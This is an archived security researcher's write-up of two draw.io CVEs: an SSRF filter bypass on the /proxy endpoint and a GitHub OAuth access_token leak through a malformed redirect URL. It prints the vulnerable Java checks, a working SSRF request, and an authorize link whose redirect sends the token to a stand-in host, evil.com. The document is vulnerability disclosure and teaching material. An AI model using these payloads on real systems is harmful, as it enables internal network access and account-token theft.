

draw.io CVEs

draw.io CVEs - Author not stated, lude.rs.

- Published: date not stated
- Original: <https://lude.rs/h4ck1ng/draw.io_cves.html>
- Preserved from: https://lude.rs/h4ck1ng/draw.io_cves.html (live) on 2026-08-06
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

draw.io CVEs

1677256694

A couple of months ago draw.io was listed as a boosted project on huntr.dev , paying up to 2000 USD for critical vulnerabilities, and as I really enjoy drawing diagrams, I thought it was a good idea to do some security code reviewing on it. I found two CVEs ([CVE-2022-1774](#), [CVE-2022-1713](#)) in one week and this is a write up about the vulnerabilities and how I found them.

Starting the code review

First things first, cloned the repository and ran it locally. Altho it's possible to rely on only reading the code, being able to debug/log the application is really a game changer. I couldn't make any debugging work for Java and Visual Code so I just stuck with good old `System.out.println` , but debugging is always preferable. I also don't use, but probably should, any fancy tooling like [Semgrep](#) or a more complex IDE like [Visual Code](#), only [Sublime Text](#) and reading the outputs on the terminal, I'm an old school outdated guy, I know.

The source has two main parts `src/main/java` for the Back-end code and `src/main/webapp` for the Front-end. As I was trying to find the more critical vulnerabilities, I only looked at the Back-end part of the application. The server side is really small compared to the front-end but it has some interesting features. Two parts caught my attention, the `*AuthServlet.java` files that are responsible for the third-party authentication process, and the `ProxyServlet.java` that looks like it receives a URL and does something with it.

At this point, I didn't touch the running application but had to find where inside of it those classes are being used. We can see the endpoints and their classes on `src/main/webapp/WEB-INF/web.xml`

```
<servlet>
  <description/>
  <display-name>ProxyServlet</display-name>
  <servlet-name>ProxyServlet</servlet-name>
  <servlet-class>com.mxgraph.online.ProxyServlet</servlet-class>
</servlet>
<servlet-mapping>
  <servlet-name>ProxyServlet</servlet-name>
  <url-pattern>/proxy</url-pattern>
</servlet-mapping>
[...]
```

```
<servlet>
  <description/>
  <display-name>GitHubAuthServlet</display-name>
  <servlet-name>GitHubAuthServlet</servlet-name>
  <servlet-class>com.mxgraph.online.GitHubAuthServlet</servlet-class>
</servlet>
<servlet-mapping>
  <servlet-name>GitHubAuthServlet</servlet-name>
  <url-pattern>/github2</url-pattern>
</servlet-mapping>
```

SSRF on /proxy - CVE-2022-1713

src/main/java/ProxyServlet.java

```

protected void doGet(HttpServletRequest request,
    HttpServletResponse response) throws ServletException, IOException
{
    String urlParam = request.getParameter("url");

    if (checkUrlParameter(urlParam))
    {
        // build the UML source from the compressed request parameter
        String ref = request.getHeader("referer");
        String ua = request.getHeader("User-Agent");
        String auth = request.getHeader("Authorization");
        String dom = getCorsDomain(ref, ua);

        try(OutputStream out = response.getOutputStream())
        {
            request.setCharacterEncoding("UTF-8");
            response.setCharacterEncoding("UTF-8");

            URL url = new URL(urlParam);
            URLConnection connection = url.openConnection();
            connection.setConnectTimeout(TIMEOUT);
            connection.setReadTimeout(TIMEOUT);

            response.setHeader("Cache-Control", "private, max-age=86400");
        }
    }
}

```

It's pretty clear that the endpoint receives an `url` parameter and does some checking with `checkUrlParameter(urlParam)` to see if will allow a request to be made. Let's check the function.

```

public boolean checkUrlParameter(String url)
{
    if (url != null)
    {
        try
        {
            URL parsedUrl = new URL(url);
            String protocol = parsedUrl.getProtocol();
            String host = parsedUrl.getHost().toLowerCase();
            return (protocol.equals("http") || protocol.equals("https"))
                && !host.endsWith(".internal")
                && !host.endsWith(".local")
                && !host.contains("localhost")
                && !host.startsWith("0.") // 0.0.0.0/8
                && !host.startsWith("10.") // 10.0.0.0/8
                && !host.startsWith("127.") // 127.0.0.0/8
                && !host.startsWith("169.254.") // 169.254.0.0/16
                && !host.startsWith("172.16.") // 172.16.0.0/12
                && !host.startsWith("172.17.") // 172.16.0.0/12
                && !host.startsWith("172.18.") // 172.16.0.0/12
                && !host.startsWith("172.19.") // 172.16.0.0/12
                && !host.startsWith("172.20.") // 172.16.0.0/12
                && !host.startsWith("172.21.") // 172.16.0.0/12
                && !host.startsWith("172.22.") // 172.16.0.0/12
                && !host.startsWith("172.23.") // 172.16.0.0/12
                && !host.startsWith("172.24.") // 172.16.0.0/12
                && !host.startsWith("172.25.") // 172.16.0.0/12
                && !host.startsWith("172.26.") // 172.16.0.0/12
                && !host.startsWith("172.27.") // 172.16.0.0/12
                && !host.startsWith("172.28.") // 172.16.0.0/12
                && !host.startsWith("172.29.") // 172.16.0.0/12
                && !host.startsWith("172.30.") // 172.16.0.0/12
                && !host.startsWith("172.31.") // 172.16.0.0/12
                && !host.startsWith("192.0.0.") // 192.0.0.0/24
                && !host.startsWith("192.168.") // 192.168.0.0/16
                && !host.startsWith("198.18.") // 198.18.0.0/15
                && !host.startsWith("198.19.") // 198.18.0.0/15
                && !host.endsWith(".arpa"); // reverse domain (needed?)
        }
        catch (MalformedURLException e)
        {
            return false;
        }
    }
}

```

```

else
{
    return false;
}
}

```

The function does a series of checking to assure that the url is not internal, and of course this has a LOT of bypasses. I went with the simple `http://0:8080/`, see more at <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery>

```

GET /proxy?url=http%3a//0:8080/ HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
sec-ch-ua-platform: "macOS"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/?mode=device&title=Untitled%20Diagram.drawio.xml&create=https%3A%2F%2
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

```

Not much to add here, just a simple SSRF bypass.

Leakage of third-party OAuth token - CVE-2022-1774

As the `*AuthServlet.java` files grabbed my attention, I began to inspect the Github OAuth authentication process of draw.io dynamically, doing all the process and checking the requests.

-

The application sends the user to https://github.com/login/oauth/authorize?client_id=lv1.98d62f0431e40543&state=cld%3Dlv1.98d62f0431e40543%26domain%3Dapp.diagrams.net%26redirect%3d%2fprofile%26token%3DTOKEN

-

Github asks the user for permission, and sends the user back to <https://app.diagrams.net/&redirect=profile&token=TOKEN> from the `state` parameters

-

The application then checks if the `redirect` parameter is a relative URL, then redirects the user to it with an `access_token` secret.

So if we redirect the user to our site, the `access_token` will be forwarded and leaked. With the `access_token` we can perform actions as the application on the Github API. So let's check how the URL from `redirect` is checked.

`drawio/src/main/java/com/mxgraph/online/AbsAuthServlet.java`

```
domain = stateVars.get("domain");
client = stateVars.get("cId");
stateToken = stateVars.get("token");
version = stateVars.get("ver");
successRedirect = stateVars.get("redirect");

//Redirect to a page on the same domain only (relative path)
if (successRedirect != null && isAbsolute(successRedirect))
{
    successRedirect = null;
}
[...]

public static boolean isAbsolute(String url)
{
    if (url.startsWith("//")) // //www.domain.com/start
    {
        return true;
    }

    if (url.startsWith("/")) // /somePage.html
    {
        return false;
    }

    boolean result = false;

    try
    {
        URI uri = new URI(url);
        result = uri.isAbsolute();
    }
    catch (URISyntaxException e) {} //Ignore

    return result;
}
```

The `isAbsolute` function receives a `url` and first checks if it starts with `//` because that will translate to `http://whatever`, let's check some examples from the [RFC 3986](#) for the URI syntax :

```
"g:h"      = "g:h"
"g"         = "http://a/b/c/g"
"./g"       = "http://a/b/c/g"
"g/"        = "http://a/b/c/g/"
"/g"        = "http://a/g"
"//g"       = "http://g"
"?y"        = "http://a/b/c/d;p?y"
"g?y"       = "http://a/b/c/g?y"
"#s"        = "http://a/b/c/d;p?q#s"
"g#s"       = "http://a/b/c/g#s"
"g?y#s"     = "http://a/b/c/g?y#s"
";x"        = "http://a/b/c/x"
"g;x"       = "http://a/b/c/g;x"
"g;x?y#s"   = "http://a/b/c/g;x?y#s"
""          = "http://a/b/c/d;p?q"
"."         = "http://a/b/c/"
"./"        = "http://a/b/c/"
".."        = "http://a/b/"
"../"       = "http://a/b/"
"..g"       = "http://a/b/g"
"..../"     = "http://a/"
"..../"     = "http://a/"
"..../g"    = "http://a/g"
```

If it starts with only a `/` is not an absolute URL, and then it passes the `url` to the `URI` class. The catch here is that if `URISyntaxException` is raised the function will return `false`, telling that the URL is not absolute and then redirecting the user. At first glance this looks okay, because if an URL is not valid why would the redirect work, right ? Wrong! This only works if the client actually doing the redirect, the browser in this case, complies with the RFC and Chrome does NOT, wtf. Now we need to find an absolute URL that is not valid but that Chrome accepts on the `Location` header.

I did some fuzzing and some manual testing and ended up with `https:// @evil.com/`, note the space. This is not a valid URL by the RFC:

```
unreserved  = ALPHA / DIGIT / "-" / "." / "_" / "~"
pct-encoded = "%" HEXDIG HEXDIG
sub-delims  = "!" / "$" / "&" / "'" / "(" / ")"
              / "*" / "+" / "," / ";" / "="
userinfo    = *( unreserved / pct-encoded / sub-delims / ":" )
authority   = [ userinfo "@" ] host [ ":" port ]
```

No whitespace in the `userinfo`. This will end up on the `catch` statement, bypassing the check and redirecting the user to `evil.com`, leaking the `access_token`.

```
HTTP/2 302 Found
Date: Sat, 14 May 2022 04:08:37 GMT
Content-Type: text/html
Location: https:// @evil.com/#%7B%22access_token%22%3A%22ghu_eEEIwuwg1GN1FwidVj4TS4pAa8p1Ec02asJs%22
Set-Cookie: auth-state= ;path=/github2; expires=Thu, 01 Jan 1970 00:00:00 UTC; Secure; HttpOnly; Sam
Set-Cookie: auth-tokenIv1.98d62f0431e40543=ghr_MRUNjYWPUiKUDKF1QTxcT6442q0L6l6LdWckf9XBqeYZV3bYYhMya
X-Cloud-Trace-Context: 766df5ad8123a0fa5701fc92aec830d4
Cf-Cache-Status: DYNAMIC
Expect-Ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Server: cloudflare
Cf-Ray: 70b0c6119831273d-FOR
```

The steps of the attack are:

-

An attacker creates an third-party authorize link, with the payload `%20%40evil.com` on the `redirect` parameter : `https://github.com/login/oauth/authorize?`

`client_id=Iv1.98d62f0431e40543&state=cId%3DIv1.98d62f0431e40543%26domain%3Dapp.diagrams.net%26redirect%3dhttps%3a%2f%2f%20%40evil.com%2f%26token%3Dplrpdrrccuavr39ta3h5bcmjoghhk21e7tdiflbm3ljpe4tdqj`

-

The user accepts to connect draw.io with Github

-

The user is redirected back to `app.diagrams.net`

-

The user is redirected to `evil.com`, leaking the `access_token`

the power of an space $\psi(\` \nabla \`)\psi$

by @caioluders